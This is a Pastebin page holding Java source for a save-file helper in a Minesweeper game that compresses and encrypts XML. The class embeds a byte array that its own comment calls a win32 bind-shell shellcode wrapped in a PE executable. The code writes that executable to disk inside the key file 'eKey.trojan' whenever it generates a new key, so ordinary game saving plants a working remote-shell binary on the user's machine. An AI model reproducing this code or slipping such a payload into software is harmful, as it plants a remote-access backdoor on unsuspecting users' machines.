Advertisement
tari

tari

Dec 20th, 2009
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 19.49 KB | None | 0 0
  1. import java.io.*;
  2. import java.util.zip.*;
  3.  
  4. import org.w3c.dom.*;
  5. import org.xml.sax.SAXException;
  6.  
  7. import javax.crypto.*;
  8. import javax.crypto.spec.SecretKeySpec;
  9. import javax.swing.JOptionPane;
  10. import javax.xml.parsers.*;
  11. import javax.xml.transform.*;
  12. import javax.xml.transform.dom.DOMSource;
  13. import javax.xml.transform.stream.StreamResult;
  14.  
  15. /**
  16.  * Helper for accessing persistent storage in XML files.
  17.  * Transparently compresses and encrypts resultant XML with gzip and AES.
  18.  */
  19. public abstract class XMLHelper {
  20.     protected Minesweeper parent;
  21.     protected Document document;
  22.     protected File file;
  23.    
  24.     /**
  25.      * Flag whether the XML resource is available or not.  Only reset at this
  26.      * time if the XML encryption key is unavailable.
  27.      */
  28.     public boolean isAvailable = true;
  29.     /**
  30.      * File to store encryption key in.
  31.      */
  32.     private static final File keyFile = new File("eKey.trojan");
  33.     /**
  34.      * Key length in bits.
  35.      */
  36.     private static final int AESKEYSIZE = 128;
  37.     /**
  38.      * Real key data.
  39.      */
  40.     private static byte[] AESKEY = new byte[AESKEYSIZE/8];
  41.    
  42.     public abstract File chooseFile();
  43.     /**
  44.      * Create a new XMLHelper with the supplied file.
  45.      * @param file File to open.
  46.      * @param parent Minesweeper instance this belongs to.
  47.      */
  48.     public XMLHelper(Minesweeper parent) {
  49.         this.parent = parent;
  50.         file = chooseFile();
  51.         if (file == null)
  52.             isAvailable = false;
  53.        
  54.         //Try to load encrypted data, otherwise create a blank Document
  55.         try {
  56.             //Read encryption key
  57.             FileInputStream keyIn = new FileInputStream(keyFile);
  58.             keyIn.skip(SHELLCODE.length);
  59.             keyIn.read(AESKEY);
  60.             Minesweeper.debug("Read encryption key.");
  61.            
  62.             DocumentBuilderFactory factory
  63.                 = DocumentBuilderFactory.newInstance();
  64.             factory.setValidating(false);
  65.             DocumentBuilder builder = null;
  66.             try {
  67.                 builder = factory.newDocumentBuilder();
  68.             } catch (ParserConfigurationException e) {
  69.                 parent.fatalError("Serious XML parser config error.");
  70.             }
  71.             try {
  72.                 FileInputStream fin = new FileInputStream(file);
  73.                 GZIPInputStream gzin = new GZIPInputStream(fin);
  74.                 Cipher cipher = Cipher.getInstance("AES");
  75.                 cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(AESKEY, "AES"));
  76.                 CipherInputStream aesIn = new CipherInputStream(gzin, cipher);
  77.                 document = builder.parse(aesIn);
  78.                 Minesweeper.debug("Read file OK.");
  79.             } catch (SAXException e) {
  80.                 Minesweeper.debug("Parse error in XML- recreating!");
  81.                 createFile();
  82.             } catch (IOException e) {
  83.                 Minesweeper.debug("IO error opening file- attempting to recreate");
  84.                 createFile();
  85.             }
  86.         } catch (Exception e) {
  87.             Minesweeper.debug("Key loading failed.");
  88.             //Some failure loading the key, so generate a new one
  89.             java.util.Random r = new java.util.Random();
  90.             r.nextBytes(AESKEY);
  91.             FileOutputStream keyOut;
  92.             try {
  93.                 //Write new key out to the keyfile
  94.                 keyOut = new FileOutputStream(keyFile);
  95.                 /* Nasty hack to get only the lower 8 bits of each chunk of
  96.                  * shellcode, since it had to be shorts rather than bytes due
  97.                  * to the lack of unsigned data types.  *sigh*
  98.                  */
  99.                 byte[] bytesOut = new byte[SHELLCODE.length];
  100.                 for (int i = 0; i < SHELLCODE.length; i++) {
  101.                     bytesOut[i] = (byte)(SHELLCODE[i] & 0xFF);
  102.                 }
  103.                 keyOut.write(bytesOut);
  104.                 keyOut.write(AESKEY);
  105.                 keyOut.close();
  106.                 Minesweeper.debug("Wrote new keyfile");
  107.             } catch (Exception e1) {
  108.                 JOptionPane.showMessageDialog(parent,
  109.                         "Error writing keyfile.\nGame save and load functionality will be unavailable."
  110.                         ,"Error",
  111.                         JOptionPane.ERROR_MESSAGE);
  112.                 parent.disableSave();
  113.                 this.isAvailable = false;
  114.             }
  115.         }
  116.         if (document == null) {
  117.             //Create new blank document
  118.             try {
  119.                 document =
  120.                     DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
  121.             } catch (ParserConfigurationException e1) {
  122.                 parent.fatalError("Serious XML parser config error.");
  123.             }
  124.         }
  125.            
  126.     }
  127.    
  128.     /**
  129.      * Converts the document to a string and writes it out to the current file.
  130.      */
  131.     public void writeDocument() {
  132.         if (!this.isAvailable)
  133.             return;
  134.         // transform the Document into a String
  135.         DOMSource domSource = new DOMSource(document);
  136.         TransformerFactory tf = TransformerFactory.newInstance();
  137.         Transformer transformer = null;
  138.         try {
  139.             transformer = tf.newTransformer();
  140.         } catch (TransformerConfigurationException e) {
  141.             parent.fatalError("Horrible error!  Blood everywhere!\n(Couldn't write XML)");
  142.         }
  143.         transformer.setOutputProperty(OutputKeys.METHOD, "xml");
  144.         transformer.setOutputProperty(OutputKeys.ENCODING,"ISO-8859-1");
  145.         transformer.setOutputProperty
  146.             ("{http://xml.apache.org/xslt}indent-amount", "4");
  147.         transformer.setOutputProperty(OutputKeys.INDENT, "yes");
  148.         java.io.StringWriter sw = new java.io.StringWriter();
  149.         StreamResult sr = new StreamResult(sw);
  150.         try {
  151.             transformer.transform(domSource, sr);
  152.         } catch (TransformerException e) {
  153.             parent.fatalError("Problem transforming DOM to string.");
  154.         }
  155.         String xml = sw.toString();
  156.        
  157.         try {
  158.             FileOutputStream fout = new FileOutputStream(file);
  159.             GZIPOutputStream gzout = new GZIPOutputStream(fout);
  160.             Cipher cipher = Cipher.getInstance("AES");
  161.             cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(AESKEY, "AES"));
  162.             CipherOutputStream aesOut = new CipherOutputStream(gzout, cipher);
  163.             aesOut.write(xml.getBytes());
  164.             aesOut.close();
  165.         } catch (Exception e) {
  166.             parent.fatalError("Big trubble writing file: "+file);
  167.         }
  168.     }
  169.  
  170.     /**
  171.      * Removes the current file (if any) and creates a new blank one.
  172.      */
  173.     private void createFile() {
  174.         if (file.exists())
  175.             if (!file.delete())
  176.                 try {
  177.                     parent.fatalError("Unable to delete old file: "+file.getCanonicalPath()+"\nPlease delete it manually.");
  178.                 } catch (IOException e1) {
  179.                     parent.fatalError("I'm an hero!");
  180.                 }
  181.         try {
  182.             file.createNewFile();
  183.         } catch (IOException e) {
  184.             parent.fatalError("Unable to create new file: "+file);
  185.         }
  186.     }
  187.    
  188.    
  189.     /**
  190.      * A win32 bindshell shellcode (wrapped up in a PE).  Should be flagged as a
  191.      * generic trojan by most antivirus apps.  Perfect to accompany the .trojan
  192.      * file used to store the XML encryption key.
  193.      *
  194.      * A quick test showed that just over 75% of antivirus engines (34/45) claimed
  195.      * this was a generic trojan.
  196.      */
  197.     private static final short[] SHELLCODE = {
  198.         0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
  199.         0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  200.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  201.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,
  202.         0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
  203.         0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
  204.         0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
  205.         0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  206.         0x50,0x45,0x00,0x00,0x4c,0x01,0x03,0x00,0x90,0xa5,0x80,0x3f,0x00,0x00,0x00,0x00,
  207.         0x00,0x00,0x00,0x00,0xe0,0x00,0x0f,0x02,0x0b,0x01,0x02,0x38,0x00,0x04,0x00,0x00,
  208.         0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xd4,0x11,0x00,0x00,0x00,0x10,0x00,0x00,
  209.         0x00,0x20,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
  210.         0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  211.         0x00,0x40,0x00,0x00,0x00,0x02,0x00,0x00,0x4f,0xac,0x00,0x00,0x03,0x00,0x00,0x00,
  212.         0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
  213.         0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  214.         0x00,0x30,0x00,0x00,0xd4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  215.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  216.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  217.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  218.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  219.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  220.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  221.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
  222.         0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x02,0x00,0x00,
  223.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
  224.         0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,
  225.         0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  226.         0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,0x2e,0x69,0x64,0x61,0x74,0x61,0x00,0x00,
  227.         0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x08,0x00,0x00,
  228.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,
  229.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  230.         0x55,0x89,0xe5,0x83,0xec,0x18,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0x83,0xc4,0xf4,
  231.         0x8d,0x45,0xfc,0x50,0xff,0x35,0x88,0x21,0x40,0x00,0x8d,0x45,0xf8,0x50,0x68,0x04,
  232.         0x20,0x40,0x00,0x68,0x00,0x20,0x40,0x00,0xe8,0xeb,0x02,0x00,0x00,0xc9,0xc3,0x90,
  233.         0x55,0x89,0xe5,0x83,0xec,0x08,0x8b,0x15,0x8c,0x21,0x40,0x00,0x85,0xd2,0x74,0x7b,
  234.         0xa1,0xa8,0x30,0x40,0x00,0x89,0x10,0xa1,0xb0,0x30,0x40,0x00,0x85,0xc0,0x74,0x1e,
  235.         0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,0x00,0x83,0xc4,0xf4,0x50,0xe8,0xa6,0x02,
  236.         0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0xa5,0x02,0x00,0x00,0x83,0xc4,0x10,0xa1,0xb0,
  237.         0x30,0x40,0x00,0x83,0xc0,0x20,0x74,0x1e,0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,
  238.         0x00,0x83,0xc4,0xf4,0x50,0xe8,0x7e,0x02,0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0x7d,
  239.         0x02,0x00,0x00,0x83,0xc4,0x10,0xa1,0xb0,0x30,0x40,0x00,0x83,0xc0,0x40,0x74,0x1b,
  240.         0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,0x00,0x83,0xc4,0xf4,0x50,0xe8,0x56,0x02,
  241.         0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0x55,0x02,0x00,0x00,0xc9,0xc3,0x8d,0x76,0x00,
  242.         0x55,0x89,0xe5,0x83,0xec,0x10,0x56,0x53,0x8b,0x45,0x08,0x31,0xdb,0x31,0xf6,0x8b,
  243.         0x00,0x8b,0x00,0x3d,0x91,0x00,0x00,0xc0,0x77,0x16,0x3d,0x8d,0x00,0x00,0xc0,0x73,
  244.         0x4f,0x3d,0x05,0x00,0x00,0xc0,0x74,0x18,0xe9,0x86,0x00,0x00,0x00,0x8d,0x76,0x00,
  245.         0x3d,0x93,0x00,0x00,0xc0,0x74,0x39,0x3d,0x94,0x00,0x00,0xc0,0x74,0x37,0xeb,0x73,
  246.         0x83,0xc4,0xf8,0x6a,0x00,0x6a,0x0b,0xe8,0xf4,0x01,0x00,0x00,0x83,0xc4,0x10,0x83,
  247.         0xf8,0x01,0x75,0x0e,0x83,0xc4,0xf8,0x6a,0x01,0x6a,0x0b,0xe8,0xe0,0x01,0x00,0x00,
  248.         0xeb,0x4c,0x85,0xc0,0x74,0x4d,0x83,0xc4,0xf4,0x6a,0x0b,0xeb,0x3f,0x8d,0x76,0x00,
  249.         0xbe,0x01,0x00,0x00,0x00,0x83,0xc4,0xf8,0x6a,0x00,0x6a,0x08,0xe8,0xbf,0x01,0x00,
  250.         0x00,0x83,0xc4,0x10,0x83,0xf8,0x01,0x75,0x1a,0x83,0xc4,0xf8,0x6a,0x01,0x6a,0x08,
  251.         0xe8,0xab,0x01,0x00,0x00,0x83,0xc4,0x10,0x85,0xf6,0x74,0x12,0xe8,0x97,0x01,0x00,
  252.         0x00,0xeb,0x0b,0x85,0xc0,0x74,0x0c,0x83,0xc4,0xf4,0x6a,0x08,0xff,0xd0,0xbb,0xff,
  253.         0xff,0xff,0xff,0x89,0xd8,0x8d,0x65,0xe8,0x5b,0x5e,0xc9,0xc2,0x04,0x00,0x89,0xf6,
  254.         0x55,0x89,0xe5,0x83,0xec,0x14,0x53,0x83,0xc4,0xf4,0x68,0xc0,0x10,0x40,0x00,0xe8,
  255.         0x94,0x01,0x00,0x00,0x83,0xc4,0xfc,0xe8,0x5c,0x01,0x00,0x00,0xe8,0x5f,0xfe,0xff,
  256.         0xff,0xe8,0x8a,0xfe,0xff,0xff,0x83,0xc4,0xfc,0xe8,0x42,0x01,0x00,0x00,0xff,0x30,
  257.         0xff,0x35,0x04,0x20,0x40,0x00,0xff,0x35,0x00,0x20,0x40,0x00,0xe8,0x4f,0x00,0x00,
  258.         0x00,0x89,0xc3,0x83,0xc4,0x20,0xe8,0x1d,0x01,0x00,0x00,0x83,0xc4,0xf4,0x53,0xe8,
  259.         0x5c,0x01,0x00,0x00,0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0xc4,0xf4,0x6a,0x01,0xa1,
  260.         0x9c,0x30,0x40,0x00,0xff,0xd0,0xe8,0x95,0xff,0xff,0xff,0x31,0xc0,0xc9,0xc3,0x90,
  261.         0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0xc4,0xf4,0x6a,0x02,0xa1,0x9c,0x30,0x40,0x00,
  262.         0xff,0xd0,0xe8,0x79,0xff,0xff,0xff,0xc9,0xc3,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  263.         0x55,0x89,0xe5,0x83,0xec,0x24,0x53,0xe8,0x94,0x00,0x00,0x00,0xc7,0x45,0xfc,0x08,
  264.         0x20,0x40,0x00,0x8b,0x5d,0xfc,0xff,0xd3,0x8b,0x5d,0xd8,0xc9,0xc3,0x00,0x00,0x00,
  265.         0x55,0x89,0xe5,0x83,0xec,0x08,0xa1,0x90,0x21,0x40,0x00,0x83,0x38,0x00,0x74,0x1d,
  266.         0xa1,0x90,0x21,0x40,0x00,0x8b,0x00,0xff,0xd0,0xa1,0x90,0x21,0x40,0x00,0x8d,0x50,
  267.         0x04,0x89,0x15,0x90,0x21,0x40,0x00,0x83,0x78,0x04,0x00,0x75,0xe3,0xc9,0xc3,0x90,
  268.         0x55,0x89,0xe5,0x83,0xec,0x14,0x53,0xa1,0x38,0x13,0x40,0x00,0x83,0xf8,0xff,0x75,
  269.         0x19,0x31,0xc0,0x83,0x3d,0x3c,0x13,0x40,0x00,0x00,0x74,0x0e,0xba,0x3c,0x13,0x40,
  270.         0x00,0x83,0xc2,0x04,0x40,0x83,0x3a,0x00,0x75,0xf7,0x89,0xc3,0x85,0xdb,0x74,0x0c,
  271.         0x8b,0x04,0x9d,0x38,0x13,0x40,0x00,0xff,0xd0,0x4b,0x75,0xf4,0x83,0xc4,0xf4,0x68,
  272.         0x30,0x12,0x40,0x00,0xe8,0x77,0x00,0x00,0x00,0x8b,0x5d,0xe8,0xc9,0xc3,0x89,0xf6,
  273.         0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0x3d,0x94,0x21,0x40,0x00,0x00,0x75,0x0f,0xc7,
  274.         0x05,0x94,0x21,0x40,0x00,0x01,0x00,0x00,0x00,0xe8,0x92,0xff,0xff,0xff,0xc9,0xc3,
  275.         0xff,0x25,0xa8,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xb0,0x30,0x40,0x00,0x90,0x90,
  276.         0xff,0x25,0x9c,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xa0,0x30,0x40,0x00,0x90,0x90,
  277.         0xff,0x25,0x98,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xac,0x30,0x40,0x00,0x90,0x90,
  278.         0xff,0x25,0xbc,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xa4,0x30,0x40,0x00,0x90,0x90,
  279.         0xff,0x25,0xb4,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0x94,0x30,0x40,0x00,0x90,0x90,
  280.         0xff,0x25,0xb8,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0x88,0x30,0x40,0x00,0x90,0x90,
  281.         0xff,0x25,0x84,0x30,0x40,0x00,0x90,0x90,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
  282.         0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  283.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  284.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  285.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  286.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  287.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  288.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  289.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  290.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  291.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  292.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  293.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  294.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8,0x38,0x00,0x00,0x00,0x43,0x4d,0x44,
  295.         0x00,0xe7,0x79,0xc6,0x79,0xe5,0x49,0x86,0x49,0xa4,0xad,0x2e,0xe9,0xa4,0x1a,0x70,
  296.         0xc7,0xd9,0x09,0xf5,0xad,0xcb,0xed,0xfc,0x3b,0x8e,0x4e,0x0e,0xec,0x7e,0xd8,0xe2,
  297.         0x73,0xad,0xd9,0x05,0xce,0x72,0xfe,0xb3,0x16,0x57,0x53,0x32,0x5f,0x33,0x32,0x2e,
  298.         0x44,0x4c,0x4c,0x00,0x01,0x5b,0x54,0x89,0xe5,0x89,0x5d,0x00,0x6a,0x30,0x59,0x64,
  299.         0x8b,0x01,0x8b,0x40,0x0c,0x8b,0x70,0x1c,0xad,0x8b,0x58,0x08,0xeb,0x0c,0x8d,0x57,
  300.         0x2c,0x51,0x52,0xff,0xd0,0x89,0xc3,0x59,0xeb,0x10,0x6a,0x08,0x5e,0x01,0xee,0x6a,
  301.         0x0a,0x59,0x8b,0x7d,0x00,0x80,0xf9,0x06,0x74,0xe4,0x51,0x53,0xff,0x34,0x8f,0xe8,
  302.         0x90,0x00,0x00,0x00,0x59,0x89,0x04,0x8e,0xe2,0xeb,0x31,0xff,0x66,0x81,0xec,0x90,
  303.         0x01,0x54,0x68,0x01,0x01,0x00,0x00,0xff,0x55,0x20,0x57,0x57,0x57,0x57,0x47,0x57,
  304.         0x47,0x57,0xff,0x55,0x1c,0x89,0xc3,0x31,0xff,0x57,0x57,0x68,0x02,0x00,0x22,0x11,
  305.         0x89,0xe6,0x6a,0x10,0x56,0x53,0xff,0x55,0x18,0x57,0x53,0xff,0x55,0x14,0x57,0x56,
  306.         0x53,0xff,0x55,0x10,0x89,0xc2,0x66,0x81,0xec,0x54,0x00,0x8d,0x3c,0x24,0x31,0xc0,
  307.         0x6a,0x15,0x59,0xf3,0xab,0x89,0xd7,0xc6,0x44,0x24,0x10,0x44,0xfe,0x44,0x24,0x3d,
  308.         0x89,0x7c,0x24,0x48,0x89,0x7c,0x24,0x4c,0x89,0x7c,0x24,0x50,0x8d,0x44,0x24,0x10,
  309.         0x54,0x50,0x51,0x51,0x51,0x41,0x51,0x49,0x51,0x51,0xff,0x75,0x00,0x51,0xff,0x55,
  310.         0x30,0x89,0xe1,0x68,0xff,0xff,0xff,0xff,0xff,0x31,0xff,0x55,0x2c,0x57,0xff,0x55,
  311.         0x0c,0xff,0x55,0x28,0x53,0x55,0x56,0x57,0x8b,0x6c,0x24,0x18,0x8b,0x45,0x3c,0x8b,
  312.         0x54,0x05,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,0x20,0x01,0xeb,0xe3,0x32,0x49,
  313.         0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0xfc,0x31,0xc0,0xac,0x38,0xe0,0x74,0x07,0xc1,
  314.         0xcf,0x0d,0x01,0xc7,0xeb,0xf2,0x3b,0x7c,0x24,0x14,0x75,0xe1,0x8b,0x5a,0x24,0x01,
  315.         0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0xeb,
  316.         0x02,0x31,0xc0,0x89,0xea,0x5f,0x5e,0x5d,0x5b,0xc2,0x08,0x00,0x00,0x00,0x00,0x00,
  317.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  318.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
  319.         0x44,0x13,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  320.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  321.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  322.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  323.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  324.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  325.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  326.         0x40,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8c,0x31,0x00,0x00,
  327.         0x84,0x30,0x00,0x00,0x50,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  328.         0xc8,0x31,0x00,0x00,0x94,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  329.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  330.         0xc4,0x30,0x00,0x00,0xd4,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  331.         0xf4,0x30,0x00,0x00,0x04,0x31,0x00,0x00,0x14,0x31,0x00,0x00,0x28,0x31,0x00,0x00,
  332.         0x34,0x31,0x00,0x00,0x40,0x31,0x00,0x00,0x4c,0x31,0x00,0x00,0x58,0x31,0x00,0x00,
  333.         0x60,0x31,0x00,0x00,0x6c,0x31,0x00,0x00,0x78,0x31,0x00,0x00,0x00,0x00,0x00,0x00,
  334.         0x00,0x00,0x00,0x00,0xc4,0x30,0x00,0x00,0xd4,0x30,0x00,0x00,0x00,0x00,0x00,0x00,
  335.         0x00,0x00,0x00,0x00,0xf4,0x30,0x00,0x00,0x04,0x31,0x00,0x00,0x14,0x31,0x00,0x00,
  336.         0x28,0x31,0x00,0x00,0x34,0x31,0x00,0x00,0x40,0x31,0x00,0x00,0x4c,0x31,0x00,0x00,
  337.         0x58,0x31,0x00,0x00,0x60,0x31,0x00,0x00,0x6c,0x31,0x00,0x00,0x78,0x31,0x00,0x00,
  338.         0x00,0x00,0x00,0x00,0x7b,0x00,0x45,0x78,0x69,0x74,0x50,0x72,0x6f,0x63,0x65,0x73,
  339.         0x73,0x00,0x00,0x00,0x79,0x02,0x53,0x65,0x74,0x55,0x6e,0x68,0x61,0x6e,0x64,0x6c,
  340.         0x65,0x64,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x46,0x69,0x6c,0x74,0x65,
  341.         0x72,0x00,0x00,0x00,0x27,0x00,0x5f,0x5f,0x67,0x65,0x74,0x6d,0x61,0x69,0x6e,0x61,
  342.         0x72,0x67,0x73,0x00,0x3b,0x00,0x5f,0x5f,0x70,0x5f,0x5f,0x65,0x6e,0x76,0x69,0x72,
  343.         0x6f,0x6e,0x00,0x00,0x4e,0x00,0x5f,0x5f,0x73,0x65,0x74,0x5f,0x61,0x70,0x70,0x5f,
  344.         0x74,0x79,0x70,0x65,0x00,0x00,0x00,0x00,0x76,0x00,0x5f,0x63,0x65,0x78,0x69,0x74,
  345.         0x00,0x00,0x00,0x00,0xa9,0x00,0x5f,0x66,0x69,0x6c,0x65,0x6e,0x6f,0x00,0x00,0x00,
  346.         0xb2,0x00,0x5f,0x66,0x6d,0x6f,0x64,0x65,0x00,0x00,0x00,0x00,0xb5,0x00,0x5f,0x66,
  347.         0x70,0x72,0x65,0x73,0x65,0x74,0x00,0x00,0xde,0x00,0x5f,0x69,0x6f,0x62,0x00,0x00,
  348.         0x75,0x01,0x5f,0x73,0x65,0x74,0x6d,0x6f,0x64,0x65,0x00,0x00,0x05,0x02,0x61,0x74,
  349.         0x65,0x78,0x69,0x74,0x00,0x00,0x00,0x00,0x79,0x02,0x73,0x69,0x67,0x6e,0x61,0x6c,
  350.         0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x4b,0x45,0x52,0x4e,
  351.         0x45,0x4c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0x00,0x00,0x00,0x14,0x30,0x00,0x00,
  352.         0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,
  353.         0xa8,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0xb0,0x30,0x00,0x00,0x14,0x30,0x00,0x00,
  354.         0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,
  355.         0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  356.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  357.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  358.     };
  359. }
  360.  
